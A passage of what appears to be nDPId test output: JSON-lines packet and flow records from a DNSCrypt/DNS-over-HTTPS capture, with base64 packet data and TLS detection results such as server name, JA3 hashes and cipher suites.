Qf0jHVQGnwAxeuzuSY7tz218KXQTBvi9SMYzLEso\/K3LqB8BEpQya8VZXWQuCGY4SkPIXqEgKY8EGqFhOcjO2o5wXjhLZdgsXSX++Q\/0gTpV0hJQhrx5wWFacrUHLm2XO6bYLCvOn7mEoXTGfavess\/gEcIPD0v4AnZZCBH1BVSZZh"} +00510{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":416758,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpAABAADgGtnGS\/zhiCgAAAQG7qsavYn3NXaapY1AYBBOVzwAAFwMDADwgvIYr\/fVd0\/IoLpD6r2RiaFvFG\/sAvbZKMjwdNEjrNa8MMQtldCF2H7A4ShCVlHR+p0Fqa8bFBVhCELM="} +00462{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":448,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":416834,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHOfpAAH4GNpkKAAABkv84YqrGAbtdpqljr2J+DlAYAfWMVwAAFwMDABopgl92dirYJk26Rdz234hk\/nwtX13QWCVDkg=="} +00893{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":422284,"pkt_caplen":402,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":402,"pkt_l4_len":368,"pkt":"ZmZmZmZmRERERERECABFAAGEAABAADgGtVaS\/zhiCgAAAQG7qsavYn4OXaapY1AYBBNH8AAAFwMDAVeVFxiJO5QBBBq9bHwHeS9YTeHHYw1VwSho\/0va3sJZBQRpyWOKoJWf9iqaHVm06KnBe4sN9A\/te\/4HjrvSn1yJRhBuWVzxwLDgYlwCpzZ9nSNOSKV5xxBwnLELyOZASAiYJNpYdaN8QlSLE+n4s+8yOgUhT4A8B\/B819yA3EQ\/TJdenACfVbvMrQJdW9zQuH6mW7ErKFFwg5rs8V3RKbV3IMcLt6fJetkD2Dnhccg0FyMfZqRBMSg5dOZAo+uH2AQkXn4co1azyv1Oytqz3IgRoyZj6Tpj86D01iYxU9ClfZ5Adj6STP2z08oSGuRc38JDppC1gtmwqhF46Pk5cLffRVPrRARTCLhAtrii0DNrInjq8+\/UtzCYRKl6teSs4imNDCOObvfx5V\/vjoSzX612vPEUzhK15n487BDpxo1AIQ7ZuZoIIyR4+WKArm2OIfM2PUSwIJM\/"} +00560{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":422459,"pkt_caplen":156,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":156,"pkt_l4_len":122,"pkt":"REREREREZmZmZmZmCABFAACOOftAAH4GNlEKAAABkv84YqrGAbtdpqmCr2J\/alAYAfWMngAAFwMDAGEwR+Uwm3JnbHX21T0EU4mimI\/BzOwLcAvWO7tFHXof8QQ9y7zhq2B5iSZ82GEwQVrEYfEjgD\/1yxMkOsLMFuesUYv5H7F9Ehc+sedhLYoepOfrgUEoXab\/LLmDQ325Qwqs"} +00571{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":422486,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWOfxAAH4GNkgKAAABkv84YqrGAbtdpqnor2J\/alAYAfWMpgAAFwMDAGkskbE6jojziEWZcr57nfNO3QVwvQHpO7RpYrit0PxYi\/EdGvNfu4dy\/1VG2nMOx2X5QyLU7PTvVX9K1Tk31jOxrfcpc4jXuSE2rb1qXnua7aXnvU1Clxzf9Q5XRvJCVGrIefRWpqyqjP4="} +00691{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":452,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":459806,"pkt_caplen":250,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":250,"pkt_l4_len":216,"pkt":"ZmZmZmZmRERERERECABFAADsAABAADgGte6S\/zhiCgAAAQG7qsavYn9qXaaqVlAYBBPuLAAAFwMDAL+5P1wGAW7bqRbFQF49PLOyL7Nktp9V27s\/vxONurX4s2n\/rQw\/Pc6utp\/JQlx92Iwj0pMSpIonnsrcCShzvBfOIR4WwTTnN18t69G6PIAyQbjCzKU1Y5oI08MKAUN7p2wK9FhJ6KKs7dY3QsCtHu8Vp\/\/1URT5ZXAiCCddtgsJ4DVxjVT9RBqSeaO0vFHPJdMho6CfUjl26TvqbCuOy+ZmMvzj1FGAx9OM+o8vAKjrH07NZSC3jl7sTS6mK38UsQ=="} +00465{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":453,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":460114,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLOf1AAH4GNpIKAAABkv84YqrGAbtdpqpWr2KALlAYAfWMWwAAFwMDAB5mHAVxw6qC2wo8lvd1nMMLvER4s1pZjX+1yYfWJU0="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":454,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":946739400581,"flow_last_seen":0,"flow_tot_l4_data_len":307,"flow_min_l4_data_len":307,"flow_max_l4_data_len":307,"flow_avg_l4_data_len":307,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.70.85.11","src_port":54164,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00807{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":454,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":581420,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":307,"pkt":"REREREREZmZmZmZmCABFAAFHpuhAAH4GfboKAAABwUZVC9OUAbunNzlTos+VOVAYAfbYRwAAFgMBARoBAAEWAwO9Yq6mzn6Kf+YkY+w4Q\/vo+7yhlWhjohroCY4Mal823CCy3rkp5WTaWd5nTdItXIFahRCh9ETfjIRyGCS4r9a3XwAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACnAAAAFgAUAAARZG9oLmJvcnR6bWV5ZXIuZnIABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAg6wutcF723xZ1OaF0ooDfgy7xahyBeOD2x7PNk\/t6gG4="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":454,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":946739400581,"flow_last_seen":0,"flow_tot_l4_data_len":307,"flow_min_l4_data_len":307,"flow_max_l4_data_len":307,"flow_avg_l4_data_len":307,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.70.85.11","src_port":54164,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.bortzmeyer.fr","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04341{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":455,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":612150,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuA435AADQGgOvBRlULCgAAAQG705Siz5U5pzc6clAYAfXigAAAFgMDAHoCAAB2AwPum08l8a\/xsIE7sf4ouj1cFjIcJvTzL6IcltC8x2MVWyCy3rkp5WTaWd5nTdItXIFahRCh9ETfjIRyGCS4r9a3XxMCAAAuACsAAgMEADMAJAAdACDFCe5GcFoAINJ8W\/U00yxwlYg7Wtx0yaBhsZxlJVHAahQDAwABARcDAwAgjb6\/bt9RU3n7f\/XK70kHoogWe0pWzujxYyDQFCzDS9sXAwMKFyLHVFWncnvuWpj00oLMIDtr5tAZiqfcqzwOOMNYqfKKQHH219coqZSx1dHk2hi5d1LB3GytI8vYkc59i5RQQDbXAHUuezlbBvO8F+B3yrBrypISyNX1A4sx1E9x9g092nWO74tZVT++3VZ86RoDvvF0ZUqxTSHr+1nR9kKZh0N5lUkvTu0aK5ORhVWNfmq0hwnrW5s27rBfHFIN8y0h27yxFq4SIl7wwuk6Mq7vkrvqIsM5xqyCc\/9Xu0OqSF3zUNnkItIrGQeIJp3LGwwIhQxxQAsnuWmwcXNFRqEzMD5jbEtpKYkHahCBuU\/B3PKrCTX8+YsVVjGS5Qrjne3Kr5FWp6nlPfIH59LkIEasv75h75FcjD+7wr54z1JIPpP7ZrLR5PywuD6f88xvloKZN+WwiXGAie649c7JKsyGwCn507cb9CeSrJLhgRoQlUSUEBlnxiSHhJ2mw9owqvmzHqRqTxGrXh9qTPYDQpk5QRLmSGX3D7g6VS6CrNB+GfCK6SPMgzdR+k8lAJJdHOY0ZZdv+Ya6nA3r8RDkXrspyuJsV4QMPLAoNzQvGen9CeK5JxcSLtBMp5q0B1DBO5EIcsoLQQ6lCwlPm8U6NZmJK6eA9zbgzP80r8LRBBpZx1beD6mw3j+TpFAy+igQ8+ETtD4YPbZPWCgC6xVG0u33AvPq8sRsHwGqnzJp1MW\/CDUHInzc9xT9j80aqrzF0XcmMIsrs4KNMQ8QDQCsJmct9U0iMbkLXGLFA32BoRsU95KY+6gDs57twsE3JaqfYSuTq\/Dlicgoiy07U8DZsIf1tKivKbhBZS1qr1PaAU2W3RuJy+8koP4fg1irOvcozqBrDOixlNBNoG8ob7RGwcT3Z0ArR3tWTeHxhQydU29KSYU8HwZniOUgn1K8cz071\/P8S72m5u89j2RZsoG54t+A\/1vLyZMsjOXjwepn9YLOohxBXEIx84KuxUh3bAga+k\/yE8GW5vng0KtP1aBiU4Tc6A+REN2DA3ij6lHoD2sFhJA2fLcssM6OpAK\/moM166igfSm3LqGC4gK+TDj4gtClJchy8bvN8tctQ8iFjFj\/6qv7lxplsZ49PvHPbnKju\/tev2fd5dDj7QcMjqNvhblPBUZ32SOOjxBH3RE7aBpBLMz7W1\/NpSWcgM15pyZsPx8isO02KbyH6gAHIs+ZEGj61i6mnrDsMNesZUMUM55VeDXhdpD8kmxGJpLZ3bsJ69dZmjx3Rf6Zgw2KbXhlm6KMoEBrRSd15+xgTimUz9H5N6PvNLfaRiGX8r4RI6AIPrxRNjrz1JtdmeN1NzdaLUaHCvnql7jjxoX9Sn8xtUQxnkcUzYoweeIrvi9ulLP7ucnd54pGXhyPpURQBCM2nU9nbu+b6Pbj4vx7uFCRh\/lkqhRWVdTtE5uZmH8x4uxAXTdo\/R5oSgAkEsgUzYbuz4+G0Ch0T6jruu4T9ekEthrBCQJjN3fHGBcpM7AMfx+FKZas1DTjRC6L41JS2ixQWYjQbws0Hx+sBQGG6PAX0ilnkOFTCqdi4OZ+YhHBZ3aa4TDran\/FLmLs4pdGLb\/oqLyzwsvNQ7jdGUh2A89lsoDzqOObMQCUrWrG7EbmBEy\/sbHnGgiIy31PynXQexT3lSGWXsVy54UK1SdBZ18JpRAq1XaEcJZV9BqOYiMFEVnHR9zwIUFWwIjG0UpAOSNn7blveeCwW\/YovVsVKboGuW3yyReDZYyNgSvRfgvPpiG+pklW5Ihw+wYJ1sPXS0I2yAnATL00hg3Bnv3J6\/Z\/+4vJOHMRe5zCkPZYK8w\/AOnTp5VZVUALMm2aJruUFq4CXZyWMk1kbL3XBzpFB\/roJe8IiU+Kt9kQ449THNAxRUoavQeSeXnuQSkwDYmI0buLWeiaEzMUY5OavuLtDgD4c+avQlGrce7Ozez1RlLgPgV+i3DcrjoWos6tTeu8g4pr3NuCp14nKYaub7Vt2s0JPBPZqY\/MuyLA\/e3Fr\/OMlh\/EauRFDsRaqiHBJ2mP3NA8\/ZyaQQcWAIVjHSjsVGu2nQBYWjKsZ8mKcS9VpMr9ndCkWOs5Sz5zWAutH8paKKKAqBcvloCRHOWIfcJ9h9uc3Lq9DYb+le+8B4yxwh7qQJOXNZwdUQbb19fMRPNRiaEzON5GpXpNywN75iIVBnfCJp5hZfV7tIfK22ta\/Z6stqDCIyk+p27DCeEPYmTJDSSHKNbedRdn0\/iB9LUsBrCmi7IRRBlE2Tr8s2JDIPOoL9S4j6C6g1r3fpCuw4mXBrcGCfNjDw6rPYEplJqhIiTO+juQuxn5Prjqj21RvbfTbyzJIvTV7a0Zy5SJ1YWQ9z3NLs75HRnYaEIc3G103AKPkytzCjXINk0eKUkCZXrW9QupQw5YZCi9c+zr9e6Nsrg4KBkr13ePLbPEqhzK0TgphOe\/BgDw39ES3e0uIMvXuKrcPIZlkW8iZdSPWqT0Pls1rgFcXIxjJuZzAKdz9RIDjZGrpzpHXAzwarf0m0i2Gtw3bYKFHdkTT5n1uaYQthMuQHJHi+p8XDFtekQax3jKJD3CiZg+YeLzJ5Uo0iEidZKe5rH7ZzgkT8O0rVZwq5niGJgbiV3EUpPldHNKypyvkj3ycT9kY2IJU7ZpXJRnpDRxjhVDO4G\/kK6jqgKdwB9YrN8ddL2ErNeFlxtrqM8tHt2ZYdSMZYCnp2omvPy97RCe3Cp\/HGnLxpRs+DW569z8h8BSfI\/zMEZeQ4RsdRgF8hz+rQ8SRDGvtaqUblOPSNlurg9vSpcyYw7DcuCxkCASBOvLXbWh8As7fT8An8+JscVf\/lq\/mGQvDlSuFNj+tDMXoI0ZKapFzG\/KPdLhwKgFCipECC9Er6NeMVnAw07Z3oto50ydjbh57kzukh0zqDBLZjEhtFpoAiVBqZg7B50ytdFgK+6hZgsHjVoNuFRf32MJngr13fBBtHKo\/VHaVg4drs9W9DfAL1w5rtOMVsX6aUt1YAeiwdGBNEPyNmvNCcEQOj+xzMfVoOLm7SUXFyIm1n+reDHyXo8yNG7LkDYjmq\/JLkrpjl4bFeLBsdG760CBaEUCZJd3nvhfPPBsfCBF5PswuYpAEifKeZ17NlOaSrxj79WssKYt4uUKm2gm9JHcvNneM5n7DQEooPTVEVYNOgvXrRVlbfz+Cy2kBP2gCp+jUrcKx4YKGEhDuMaL8PfHGRT2vA7nqzUU9C3cJ3emOjaD7KMjipJvPBaA7U+L8ujhu2gJWLx4yY7mn3RV6K2HsrFjTJduvDGB+DqQg96t2CJjvMbpqIitN9hBxZbznMh3XU1HogwVfIbOe8Ug8cikY7ag9rW6E1CfeBwa9CM8u9CTXlTgumW220WzI\/+S8CMvOup0C9PugMt2Jc4cXDvNs+dyRWH3X7QIImonFrQ6RaFIHlbDa5gqN+0VC87hnjQE8OUpxOAg1ReSXhcDAwEZLWp\/o3fXWPvp18ZXCuvlFC4i5H\/0jL\/Tq956IZziJu\/XhSjlSr056BPu7zKCegDZWzYsK6oLPWAfcvtcSfAPACHpLE+JYCNMevr7LjdkYBxYeJsjktZDgoEi7lSxc1XaPOcOHuKcNBIZPhHzY\/jpu14RecKRjxP8M4PlZTTXUvzf286xa1A7FPGcV7e6"} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":455,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":2,"flow_first_seen":946739400581,"flow_last_seen":946739400612,"flow_tot_l4_data_len":3231,"flow_min_l4_data_len":307,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1615,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"193.70.85.11","src_port":54164,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.bortzmeyer.fr","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00712{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":456,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":612199,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"ZmZmZmZmRERERERECABFAAD+44BAADQGi2vBRlULCgAAAQG705Siz6CRpzc6clAYAfVAMQAA7MoGonW0Fj4lHArVaOCgJtbHn9aRY0n9LKnu3cTyqbChLhfccHsdC81z2fZ+Ukv\/nAuBoKACJX8Pwem5JBIGeQ+hR9gvbJqO0dljTEjfnQJGlcWyJk4FqoFjayNoVLdbRg\/yWeK8VeLtflQjLxqwMpDM\/QbduG5HAuBrFrE4C7dTGq1PezTGhU9pqGsXAwMARb1ScBcpf\/m81VPRA3LW\/2mv0IZmicbA7T0x5byJ5bKDeMQneniKc1y1kH9Jz7ueZz9IjjqOqk3CW8r0ZREMc3BCfYPYBQ=="} +00529{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":457,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":614392,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4putAAH4GfoYKAAABwUZVC9OUAbunNzpyos+hZ1AYAfXXeAAAFAMDAAEBFwMDAEWxR7EUjZHkVtX08CQhsaM\/Xs5Q6DMNginzkPCY+KYKSCqwTiH7uki4RDfQf\/Ey5MQ7C8dbvaWK4mwFe9xZLaA8IB711hA="} +00535{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":614509,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+puxAAH4Gfn8KAAABwUZVC9OUAbunNzrCos+hZ1AYAfXXfgAAFwMDAFEBK72qoyavs84v144gQzkZ+lvScOqnCOg4Fxl2R1DXDjRCzInGloAcyb9frAgUO2t8D8mxkuPsXSeiPIHZe9AVf6jmwOKW+LIq2uGYnRymDuE="} +00646{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":614652,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"REREREREZmZmZmZmCABFAADPpu1AAH4Gfi0KAAABwUZVC9OUAbunNzsYos+hZ1AYAfXXzwAAFwMDAKJ3XOpiXev7l7MZAm22Vm9Xjy7eXrvwymGtypbWuvyq7I3PdRDDKWj\/RLTtMYaNSJ8vz+ujKQBG7B7TL5snczjeUIzIcb07o5lQqFtI+7O9JFd9xIWrlQCF03DPpiuAREP9pThFNJ\/sQp3JRZTktykiNUigvBJdFe2nfwwNDbRwdy1aQTs9qsEaovHOVTeeBYIk8TyQQ1UKn+4SQ\/Se9wKOx1A="} +00527{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":614720,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3pu5AAH4GfoQKAAABwUZVC9OUAbunNzu\/os+hZ1AYAfXXdwAAFwMDAEpfXy2K6WTUn0j454zgLOF6BaviYpKv88lvCaVXYIu4lw0hRymeGnrlwHlRY56VzsBgK4wdpVXsYr1Bzx7dS7iuUeL5MDnSETeLMw=="} +01108{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":641794,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAIm44VAADQGij7BRlULCgAAAQG705Siz6Fnpzc8DlAYAfSgzAAAFwMDAPr2B5WJ31Z9J9BA0Ik5be6P1FAtyZirkXMYbHruVXjzV1eWoLoqB+SbKrHSWB7haJ19aAWaU7knycEb3PWTn0Klv\/cJNUcdu71ofCNYBKC3GG\/vNEOkAi3sLQoNzTXi7JhhKAum1RA7VYkoBXGmaJqP7fVKCPQ5xGo9GmhDlF6IlZHH7UkJs32m6Peo3AijvDJDLO6OpQvVh8b1MLv1uzz0rdF+0B3bYeWFOUw8XEpBofnoWj\/v65iPBMIU6ym23dCu5lyZBiW+xLtVeFCpCZyO0S9uQ0GVu\/R1EYV50rZMNbK6tL9gQEariZoIxr3TOLSJ5Is2KsJ9hYpMFwMDAPpMgjhpMS+adLRcQrps8LvaQ6Ep24y9Ed3JKwhvEnwU5Nr73fAfFvGhUPJfzTY4E3gxVlwMcOWbDaK\/+FBZzpMw2vlan0p8nsMeZf5f9f5YL4FXy4wxRVpq2YVIXyktqM595aHdJ3yhz73tlQ\/yMn9C\/tGrmvzXMXnGP3G87K6YEPVsUppLaNCAZCHj8bThwGGOjT+L1B596z0\/9p2w\/1x1SzS2+pSBNPmHEuh0g++xK68fHkvVsafSy4DNHkyFgUAl1PaldJx8WJP3wQMQswpcne00Mhx6LRkcpBTIOkYw4Sh5Gdseh4DJBGlX04eVD8K0H9bGmmM0Kk6r"} +00518{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":642312,"pkt_caplen":126,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":126,"pkt_l4_len":92,"pkt":"ZmZmZmZmRERERERECABFAABw44ZAADQGi\/PBRlULCgAAAQG705Siz6Nlpzc8DlAYAfV1KgAAFwMDAEPMUApz45ZKaxcj6GpbdUc2nwi\/WoTFabjKTqpClANH1mZOZX3nHeKRmMcDfze4uF1riE\/rAra\/dAdgTEzdS0uFBsUi"} +00962{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":642345,"pkt_caplen":455,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":455,"pkt_l4_len":421,"pkt":"ZmZmZmZmRERERERECABFAAG544dAADQGiqnBRlULCgAAAQG705Siz6Otpzc8DlAYAfVjDwAAFwMDAYzyPWGY1qnnY6e3kfGYDJMZKmmnOQLKGLaHRbKC8C8F0NtlPw8XS8Ehklt+rfsdEs2Wq7NKR9f1lgiKc5Cmq8lOLDUcCOJSYOIwAZT6mAqys94WiDEupmVYE5w2FANwib2xwNPKwLDfCCHZXObzJ0uf\/ojhz6oGDkXV6v4cKH33GFJtN8iYnq8nFXbFRpvVqUdqvnT4ljw1xe9LFrBSdddorJMRA3Sav3+zNY99hOf1+jK3zn1ZgCgqIRpWOVvHfb\/SvxugE5mF+ZHHK7sumYg+yG+FIGzkbZIIsZ5X7SfSFnBjdInRprKopzNb8dH8WxVjN2\/ZiCa3Zyq1va8TcftP4NT95ZLw8QgCNAFxho0L8xs7+6\/4dHRMVMMwy7aMprBB4y+QtdukuuMYEk2TgXGOsWoPxkXoDiS4h8VNoqrdVT3+JL7vWeapfAWr4Q8Icz0\/oYUYukbB3X17fOY99T1YAvhEh6ljkneY8I\/1qF7ttQDMvWQ2vSQexS9VeZyqjcr9BYppFIXrN0GEY7E="} +00461{"flow_id":28,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":642518,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHpvBAAH4GfrIKAAABwUZVC9OUAbunNzwOos+lPlAYAfXXRwAAFwMDABp6FHvVxJHBeQ5g0MDWL9tnLR+tzdx1IEXTLA=="} +00556{"flow_id":28,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":642998,"pkt_caplen":153,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":153,"pkt_l4_len":119,"pkt":"REREREREZmZmZmZmCABFAACLpvFAAH4Gfm0KAAABwUZVC9OUAbunNzwtos+lPlAYAfXXiwAAFwMDAF76q0IrLJQZEJgb\/pjTaLC2A7atFOybNTh0ihfMiNbZliLQMbPuqJ9A1tTpMd3xJ9jSC8cV6GO6gfvAuOQ4r\/fqFUn7Apr2RhO9z9ti\/6m4c\/HpVr2Q20KPpoeoGkzc"} +00569{"flow_id":28,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":643099,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWpvJAAH4GfmEKAAABwUZVC9OUAbunNzyQos+lPlAYAfXXlgAAFwMDAGl2Br1EfvOd+7oTvKC3kE7CXBP\/2IvAewAtinvUxfi9a9UDm0t4OOCcLCJQfBTLqmjIaFlNVaCrSE4mXly1X6PfjJglufG+Yj3IVrGULPk9zqrUZstqStRuEBJJM5YzfTUxQjZllbU9xx4="} +00466{"flow_id":28,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":670800,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABL44tAADQGjBPBRlULCgAAAQG705Siz6U+pzc8\/lAYAfUtRQAAFwMDAB6GTFZkUYOJTOEIFUQpPcd97xSl2MUDje80zwgABzc="} 